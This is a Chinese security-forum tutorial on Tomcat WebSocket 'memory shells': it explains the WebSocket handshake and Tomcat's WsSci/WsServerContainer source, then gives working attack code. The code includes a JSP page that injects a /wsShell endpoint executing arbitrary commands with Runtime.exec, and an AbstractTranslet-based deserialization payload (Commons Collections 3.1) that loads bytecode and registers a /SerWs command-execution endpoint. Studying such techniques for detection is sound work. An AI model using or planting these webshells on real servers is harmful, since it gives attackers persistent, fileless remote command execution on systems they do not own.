奇安信攻防社区-Tomct-WebSocket内存马

Tomct-WebSocket内存马

简单介绍下Tomcat下WebSocket的实现，以及WebSocket内存马的原理以及实现

Tomct-WebSocket内存马
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### 0x00 WebSocket简介

WebSocket是一种在Web浏览器和Web服务器之间实现全双工通信的协议，它允许实时双向数据传输。与传统的HTTP请求-响应模式不同，WebSocket提供持久性连接，可以在客户端和服务器之间建立一个长时间保持打开的通信通道。

WebSocket协议最初由HTML5规范引入，其设计旨在解决传统HTTP协议在实时通信方面的局限性。HTTP协议是一种无状态协议，每次请求都需要重新建立连接，每次响应后连接就会关闭，这样的特性不适合频繁的数据传输。而WebSocket在建立连接后，客户端和服务器之间就可以通过发送消息来进行双向通信，而无需重新建立连接。

WebSocket的一些特点：

- WebSocket是应用层协议，建立在TCP协议之上
- WebSocket是一种在HTTP协议之上的双向通信协议，它使用HTTP的握手过程来建立连接，然后在连接建立后将HTTP协议切换为WebSocket协议，因此WebSocket与http有着很好的兼容性，并且也复用80和443端口
- WebSocket头部相对较小，与HTTP相比，它减少了数据传输的开销。
- WebSocket支持跨域通信，即客户端和服务器可以在不同域名下运行
- WebSocket协议内置了心跳机制，可以检测连接是否断开，从而及时释放资源并保持连接状态。
- WebSocket可以使用TLS/SSL进行加密，确保数据的安全传输。在支持TLS/SSL的情况下，WebSocket是一个安全的通信协议。
- WebSocket的协议标识符是`ws`，加密情况下的表示符是`wss`，例如`ws://localhost:80/ws`  
    此处借用一张[图](https://www.ruanyifeng.com/blogimg/asset/2017/bg2017051502.png)，来展示一下http和WebSocket的区别

![1.png](https://shs3.b.qianxin.com/attack_forum/2023/09/attach-395b36119317e36ff06fbc9a5912adab350a978b.png)

### 0x01 WebSocket的实现

Apache Tomcat 7开始支持通过WebSocket协议实现实时双向通信。在Tomcat 7及以后的版本中，可以使用`@ServerEndpoint`注解或配置类来定义WebSocket端点，并使用WebSocket API来实现WebSocket连接的建立和消息传输。

此处使用`tomcat8.5.73`，还需要引入一个jar包

```xml
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-websocket</artifactId>
    <version>8.5.73</version>
</dependency>
```

在不使用`@ServerEndpoint`注解时，实现WebSocket共分为以下几步：

1. 创建一个WebSocket端点类。这个类将实现`javax.websocket.Endpoint`接口，并重写相关的方法；
    
    ```java
    public class MyWebSocketEndpoint extends Endpoint {
    @Override
    public void onOpen(javax.websocket.Session session, EndpointConfig endpointConfig) {
        session.addMessageHandler(new MessageHandler.Whole<String>() {
            @Override
            public void onMessage(String message) {
                // 处理接收到的消息
                System.out.println("Server response to client: " + message);
    
                try {
                    // 向客户端返回消息
                    session.getBasicRemote().sendText("Hello Client!");
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        });
    }
    
    @Override
    public void onClose(Session session, CloseReason closeReason) {
        super.onClose(session, closeReason);
    }
    }
    ```
2. 创建一个WebSocket配置类，用于注册WebSocket端点，需要实现`javax.servlet.ServletContextListener`接口，并在`contextInitialized`方法中注册端点。这个配置类其实是个监听器，因为监听器在tomcat启动时加载，并完成实例化、初始化，所以写在`contextInitialized`方法中的代码会在**tomcat启动时**进行执行，从而完成WebSocket的加载。当然，并不一定是要写在这里面，也可以写在其他的listener或filter、servlet里面等。
    
    ```java
    public class WebSocketConfig implements ServletContextListener {
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        ServerContainer container = (ServerContainer) sce.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
        ServerEndpointConfig config = ServerEndpointConfig.Builder.create(MyWebSocketEndpoint.class, "/websocket")
                .build();
        try {
            container.addEndpoint(config);
        } catch (DeploymentException e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void contextDestroyed(ServletContextEvent sce) {
        // 处理上下文销毁
    }
    }
    ```
3. 将配置类写入web.xml中，也就是将监听器写到里面 ```xml
    <listener>
    <listener-class>com.mechoy.ws.WebSocketConfig</listener-class>
    </listener>
    ```
4. 创建WebSocket连接

```js
var socket = new WebSocket("ws://localhost:8080/MemoryTrojan_war_exploded/websocket");
```

看一下创建WebSocket连接时，发送了怎样的请求

![2.png](https://shs3.b.qianxin.com/attack_forum/2023/09/attach-24159353c7764c997dc9b7b2644de1faaec58a21.png)

```http
GET /MemoryTrojan_war_exploded/websocket HTTP/1.1
Host: localhost:8080
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Upgrade: websocket
Origin: http://localhost:8080
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Sec-WebSocket-Key: LJzM+S6daEfXpHlEvqw2JQ==

```

> Connection: Upgrade 告诉服务器在完成请求处理后是否关闭网络连接，通常设置为"Upgrade"。  
> Upgrade: websocket 代表客户端希望连接升级为WebSocket  
> Sec-WebSocket-Version: 13 表示支持的`Websocket`版本  
> Sec-WebSocket-Key 随机Base64字符串，客户端生成，用于计算WebSocket握手响应头中的`Sec-WebSocket-Accept`参数。
> 
> ```http
> 
> HTTP/1.1 101 
> Upgrade: websocket
> Connection: upgrade
> Sec-WebSocket-Accept: khS5aCquONx7ftXbdnk5uvMdqmQ=
> Date: Thu, 20 Jul 2023 04:01:10 GMT
> ```

```php
 > 响应码101 表示协议切换成功
 > Upgrade: websocket 表示服务器同意协议切换，将HTTP协议切换到WebSocket协议
 > Connection: upgrade 表示服务器同意在完成请求处理后保持网络连接打开。
 > Sec-WebSocket-Accept 是`Sec-WebSocket-Key`参数经过计算得出的值，用于确认握手过程是否成功。

5.  发送请求
```js
socket.send("I am Mechoy.");
```

![3.png](https://shs3.b.qianxin.com/attack_forum/2023/09/attach-9782bdcbd1f3cd5ba10d2e527a03d83e0abb7306.png)  
![4.png](https://shs3.b.qianxin.com/attack_forum/2023/09/attach-c44000dc80f73f07add50f4dbd60c19294dbd3a2.png)

6. 关闭连接 ```js
    socket.close();
    ```
    
    不使用`@ServerEndpoint`注解的写法，就结束了

### 0x02 WebSocket内存马的实现

#### JSP实现

其实到这里，就已经能写出来使用JSP动态注入WebSocket的代码了，比如

```jsp
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>JSP动态注入WebSocket</title>
</head>
<body>
<%!
    public static class WSEndpointShell extends Endpoint {
        @Override
        public void onOpen(javax.websocket.Session session, EndpointConfig endpointConfig) {
             final javax.websocket.Session s = session;
            session.addMessageHandler(new MessageHandler.Partial<String>() {
                @Override
                public void onMessage(String message, boolean last) {
                    try {
                        Process process = Runtime.getRuntime().exec(message);
                        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                        StringBuilder output = new StringBuilder();
                        String line;
                        while ((line = reader.readLine()) != null) {
                            output.append(line).append("\n");
                        }
                        int exitCode = process.waitFor();
                        s.getBasicRemote().sendText(output.toString());
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            });
        }
        @Override
        public void onClose(Session session, CloseReason closeReason) {
            super.onClose(session, closeReason);
        }
    }
%>

<%
    ServerContainer serverContainer = (ServerContainer) request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
    ServerEndpointConfig c = ServerEndpointConfig.Builder.create(WSEndpointShell.class, "/wsShell").build();
    try {
        serverContainer.addEndpoint(c);
    } catch (DeploymentException e) {
        e.printStackTrace();
    }
%>
</body>
</html>
```

其实跟上面实现WebSocket的代码几乎一样，就是换成了JSP的写法，附一张成功的截图。

![7.png](https://shs3.b.qianxin.com/attack_forum/2023/09/attach-0d291a991fe3626d3748030e206a18a7d9e0f3d7.png)

#### 反序列化实现

然后再来一段使用发序列化打的poc吧，本来想尝试使用javassist去构造一个WebSocket的类，但是由于有泛型，注解等乱七八糟的东西，一直没整出来，所以就换了个比较笨的方式。  
服务端就是接收base64编码后的序列化字符串，解码，然后反序列化，CC的版本为3.1

```java
// 自定的WebSocket
public class SerWebSocket1 extends Endpoint implements MessageHandler.Whole<String> {
    private Session session;

@Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        session.addMessageHandler(this);
    }

@Override
    public void onMessage(String message) {
        try {
            Process process = Runtime.getRuntime().exec((String) message);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder output = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                output.append(line).append("\n");
            }
            process.waitFor();
            session.getBasicRemote().sendText(output.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

```java
public class SerWebSocketShell extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    static {
        try {
            // 这段字符数组就是上面SerWebSocket1.class转换成的
            byte[] w = new byte[]{-54, -2, -70, -66, ..., 6, 9};
            Method method = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
            method.setAccessible(true);
            Class cls = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), w, 0, w.length);
            Object o = cls.newInstance();
            org.apache.catalina.core.ApplicationContextFacade ac = (org.apache.catalina.core.ApplicationContextFacade) ((WebappClassLoaderBase)Thread.currentThread().getContextClassLoader()).getResources().getContext().getServletContext();
            ((ServerContainer) ac.getAttribute("javax.websocket.server.ServerContainer")).addEndpoint(ServerEndpointConfig.Builder.create(o.getClass(), "/SerWs").build());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

@Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

@Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
}
```

然后就可以反序列化了，放一张成功的截图，就是这种发送的数据包实在太大了

![8.png](https://shs3.b.qianxin.com/attack_forum/2023/09/attach-0a6b709b5a43f2b99af93d569460e0479cce6c6a.png)

### 0x03 源码分析

最后再看一下tomcat是如何加载WebSocket的  
Tomcat 提供了一个`org.apache.tomcat.websocket.server.WsSci`类来初始化、加载`WebSocket`。这个类就两个方法，很简单，可以直接开搞，但断点应该下在进入这个类之前，也就是`StandardContext`中，或者再往前一点

![5.png](https://shs3.b.qianxin.com/attack_forum/2023/09/attach-eaacb25b1ee1dad0f3a207fa17ddfbd4cc201027.png)  
然后跟进`entry.getKey().onStartup()`，来到`org.apache.tomcat.websocket.server.WsSci#onStartup`

```java
public class WsSci implements ServletContainerInitializer {

@Override
    public void onStartup(Set<Class<?>> clazzes, ServletContext ctx)
            throws ServletException {

WsServerContainer sc = init(ctx, true); // 初始化WsServerContainer容器
        // 没有自定义WebSocket的话，就直接return了
        if (clazzes == null || clazzes.size() == 0) {return;}

// 按类型对进行分组，三个HashSet对应@ServerEndpoint注解、Endpoint的子类，ServerApplicationConfig的子类
        Set<ServerApplicationConfig> serverApplicationConfigs = new HashSet<>();
        Set<Class<? extends Endpoint>> scannedEndpointClazzes = new HashSet<>();
        Set<Class<?>> scannedPojoEndpoints = new HashSet<>();

try {
            // wsPackage is "javax.websocket."  获取包名？
            String wsPackage = ContainerProvider.class.getName();
            wsPackage = wsPackage.substring(0, wsPackage.lastIndexOf('.') + 1);
            // 对所有自定义的WebSocket类进行分类
            for (Class<?> clazz : clazzes) {
                JreCompat jreCompat = JreCompat.getInstance();
                int modifiers = clazz.getModifiers();   // 获取自定义类的修饰符
                if (!Modifier.isPublic(modifiers) ||
                        Modifier.isAbstract(modifiers) ||
                        Modifier.isInterface(modifiers) ||
                        !jreCompat.isExported(clazz)) {
                    // 非公共，抽象类，接口或不是在导出包中就跳过
                    continue;
                }
                // 防止扫描WebSocket API JAR，防止tomcat扫描到的类不是自定义的
                if (clazz.getName().startsWith(wsPackage)) {
                    continue;
                }
                // 若是javax.websocket.server.ServerApplicationConfig的子类，
                // 则进行实例化并添加至serverApplicationConfigs
                if (ServerApplicationConfig.class.isAssignableFrom(clazz)) {
                    serverApplicationConfigs.add(
                            (ServerApplicationConfig) clazz.getConstructor().newInstance());
                }
                // 若是javax.websocket.Endpoint的子类，则将对应的全类名添加至scannedEndpointClazzes
                if (Endpoint.class.isAssignableFrom(clazz)) {
                    @SuppressWarnings("unchecked")
                    Class<? extends Endpoint> endpoint =
                            (Class<? extends Endpoint>) clazz;
                    scannedEndpointClazzes.add(endpoint);
                }
                // 若实现了@ServerEndpoint注解，则将对应类的class添加至scannedPojoEndpoints
                if (clazz.isAnnotationPresent(ServerEndpoint.class)) {
                    scannedPojoEndpoints.add(clazz);
                }
            }
        } catch (ReflectiveOperationException e) {...}

// 过滤结果
        Set<ServerEndpointConfig> filteredEndpointConfigs = new HashSet<>();
        Set<Class<?>> filteredPojoEndpoints = new HashSet<>();
        // 无javax.websocket.server.ServerApplicationConfig的子类时，
        // 直接将所有使用@ServerEndpoint注解的类添加至 filteredPojoEndpoints
        if (serverApplicationConfigs.isEmpty()) {
            filteredPojoEndpoints.addAll(scannedPojoEndpoints);
        } else {
            for (ServerApplicationConfig config : serverApplicationConfigs) {
                Set<ServerEndpointConfig> configFilteredEndpoints =
                        config.getEndpointConfigs(scannedEndpointClazzes);
                if (configFilteredEndpoints != null) {
                    filteredEndpointConfigs.addAll(configFilteredEndpoints);
                }
                Set<Class<?>> configFilteredPojos =
                        config.getAnnotatedEndpointClasses(
                                scannedPojoEndpoints);
                if (configFilteredPojos != null) {
                    filteredPojoEndpoints.addAll(configFilteredPojos);
                }
            }
        }

try {
            // 向Ws容器中添加符合条件的class
            // Deploy endpoints 
            for (ServerEndpointConfig config : filteredEndpointConfigs) {
                sc.addEndpoint(config);
            }
            // Deploy POJOs 带有@
            for (Class<?> clazz : filteredPojoEndpoints) {
                sc.addEndpoint(clazz, true);    // 注意这个，跟进他
            }
        } catch (DeploymentException e) {
            throw new ServletException(e);
        }
    }

static WsServerContainer init(ServletContext servletContext,
            boolean initBySciMechanism) {
        // 创建WsServerContainer，servletContext:ApplicationContextFacade
        WsServerContainer sc = new WsServerContainer(servletContext);   
        // 将新建的WsServerContainer放入ApplicationContext中的attributes属性中
        // 以javax.websocket.server.ServerContainer为key,WsServerContainer对象为值
        servletContext.setAttribute(
                Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE, sc);
        // 注册WsSessionListener监听器给servletContext(ApplicationContextFacde)
        servletContext.addListener(new WsSessionListener(sc));
        // 如果ContextListener正在调用此方法，则无法再次注册ContextListener  
        // 注册WsContextListener监听器给servletContext(ApplicationContextFacde)
        if (initBySciMechanism) {
            servletContext.addListener(new WsContextListener());
        }
        // 返回这个新的WsServerContainer
        return sc;
    }
}
```

![6.png](https://shs3.b.qianxin.com/attack_forum/2023/09/attach-9b21a131dbd529574fbeed3dd7ef37a74c93d08c.png)

```java
void addEndpoint(ServerEndpointConfig sec, boolean fromAnnotatedPojo) throws DeploymentException {

if (enforceNoAddAfterHandshake && !addAllowed) {...}    // 一些检查

try {
            String path = sec.getPath();    // WebSocket的路径

// 将方法映射添加到用户属性
            // PojoMethodMapping 对生命周期方法扫描和封装，只针对注解版的，非注解版为空
            // 换句话说，应该是对重写的那些方法，进行映射，为后续的调用铺路
            PojoMethodMapping methodMapping = new PojoMethodMapping(sec.getEndpointClass(),
                    sec.getDecoders(), path, getInstanceManager(Thread.currentThread().getContextClassLoader()));
            if (methodMapping.getOnClose() != null || methodMapping.getOnOpen() != null
                    || methodMapping.getOnError() != null || methodMapping.hasMessageHandlers()) {
                sec.getUserProperties().put(org.apache.tomcat.websocket.pojo.Constants.POJO_METHOD_MAPPING_KEY,
                        methodMapping);
            }

UriTemplate uriTemplate = new UriTemplate(path);
            if (uriTemplate.hasParameters()) {
                // 检查是否有重复的uri
                Integer key = Integer.valueOf(uriTemplate.getSegmentCount());
                ConcurrentSkipListMap<String,TemplatePathMatch> templateMatches =
                        configTemplateMatchMap.get(key);
                if (templateMatches == null) {
                    // 确保如果并发线程执行此块，它们最终都使用同一个ConcurrentSkipListMap实例
                    templateMatches = new ConcurrentSkipListMap<>();
                    configTemplateMatchMap.putIfAbsent(key, templateMatches);
                    templateMatches = configTemplateMatchMap.get(key);
                }
                TemplatePathMatch newMatch = new TemplatePathMatch(sec, uriTemplate, fromAnnotatedPojo);
                TemplatePathMatch oldMatch = templateMatches.putIfAbsent(uriTemplate.getNormalizedPath(), newMatch);
                if (oldMatch != null) {
                    // 取决于WsSci#onStartup()中POJO之前添加的端点实例
                    if (oldMatch.isFromAnnotatedPojo() && !newMatch.isFromAnnotatedPojo() &&
                            oldMatch.getConfig().getEndpointClass() == newMatch.getConfig().getEndpointClass()) {
                        // WebSocket规范规定在这种情况下忽略新的匹配
                        templateMatches.put(path, oldMatch);
                    } else {...}    // URI重复，抛个异常
                }
            } else {
                // 这段就跟上面一样了
                ExactPathMatch newMatch = new ExactPathMatch(sec, fromAnnotatedPojo);
                ExactPathMatch oldMatch = configExactMatchMap.put(path, newMatch);
                if (oldMatch != null) {
                    if (oldMatch.isFromAnnotatedPojo() && !newMatch.isFromAnnotatedPojo() &&
                            oldMatch.getConfig().getEndpointClass() == newMatch.getConfig().getEndpointClass()) {
                        configExactMatchMap.put(path, oldMatch);
                    } else {...}
                }
            }

endpointsRegistered = true;
        } catch (DeploymentException de) {...}
    }
```

其实在看到`org.apache.tomcat.websocket.server.WsServerContainer#addEndpoint(java.lang.Class<?>, boolean)`时就够用了，那个时候就已经知道在不使用`@ServerEndpoint`注解时，如何向内存中添加WebSocket了，就两步

> 1. 创建javax.websocket.server.ServerEndpointConfig对象
> 2. 执行org.apache.tomcat.websocket.server.WsServerContainer#addEndpoint()  
>     在JSP中注入的话，就多了以了一步
>     
>     获取org.apache.tomcat.websocket.server.WsServerContainer对象

### 0x04 最后

之前走过tomcat的一个大致流程，这个看起来也是蛮快的，难点的话倒也没有啥，就是想使用反序列化去实现的时候碰到了难点，最终也没解决，选了一种比较笨的方法。然后就是文章写的不咋样，望见谅。

### 0x05 参考链接

- [WebSocket 教程](https://www.ruanyifeng.com/blog/2017/05/websocket.html)
- [WebSocket内存马之tomcat-websocket源码实现(内存马系列篇七)](https://www.freebuf.com/vuls/345739.html)
- [WebSocket通信原理和在Tomcat中实现源码详解](https://stefan.blog.csdn.net/article/details/120025498)

发表于 2023-09-19 09:00:00
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分类：渗透测试

Tomct-WebSocket内存马

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